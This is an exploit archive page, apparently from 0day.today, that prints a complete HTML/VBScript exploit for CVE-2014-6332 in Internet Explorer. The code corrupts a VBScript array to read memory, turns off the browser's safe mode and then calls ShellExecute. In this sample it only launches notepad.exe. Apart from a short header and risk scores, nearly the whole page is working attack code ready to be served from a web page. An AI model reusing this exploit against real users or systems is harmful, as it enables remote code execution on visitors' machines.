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Internet Explorer OLE Automation Array Remote Code Execution Exploit

🗓️ 13 Nov 2014 00:00:00Reported by yuangeType 
zdt
 zdt
🔗 0day.today👁 60 Views

Internet Explorer OLE Automation Array Remote Code Execution Exploi

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Code
//*
   allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
   cve-2014-6332 exploit
   https://twitter.com/yuange75
   http://hi.baidu.com/yuange1975
   
*//
 
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
 
<SCRIPT LANGUAGE="VBScript">
 
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
 
</script>
 
<SCRIPT LANGUAGE="VBScript">
  
dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray
 
Begin()
 
function Begin()
  On Error Resume Next
  info=Navigator.UserAgent
 
  if(instr(info,"Win64")>0)   then
     exit   function
  end if
 
  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))  
  else
     exit   function 
              
  end if
 
  win9x=0
 
  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
 
     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()                   
     else 
          setnotsafemode()
     end if
  end if
end function
 
function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function
 
function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)    
       Create=True
       Exit For
    End If
  Next
end function
 
sub testaa()
end sub
 
function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2) 
   
     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314
 
     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310 
     mydata=aa(a1)
     redim  Preserve aa(a0) 
end function
 
 
function setnotsafemode()
    On Error Resume Next
    i=mydata() 
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134) 
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0         
              redim  Preserve aa(a2)            
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0) 
 
     j=0
              j=readmemo(i+&h120+k)  
          
               Exit for
           end if
 
    next
    ab(2)=1.69759663316747E-313
    runmumaa()
end function
 
function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
   
    redim  Preserve aa(a0)
    redim   ab(a0)    
   
    redim  Preserve aa(a2)
   
    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10
           
    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16            
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then   
                 If(IsObject(aa(a1)) = False ) Then            
                   type1=VarType(aa(a1))
                 end if              
              end if
           else
             redim  Preserve aa(a0)
             exit  function
 
           end if
        else
           if(vartype(aa(a1-1))<>0)  Then   
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if              
            end if
        end if
    end if
               
     
    If(type1=&h2f66) Then        
          Over=True     
    End If 
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If 
 
    redim  Preserve aa(a0)         
         
end function
 
function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2) 
   
    ab(0)=0  
    aa(a1)=add+4    
    ab(0)=1.69759663316747E-313      
    ReadMemo=lenb(aa(a1)) 
    
    ab(0)=0   
  
    redim  Preserve aa(a0)
end function
 
</script>
 
</body>
</html>

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13 Nov 2014 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.973
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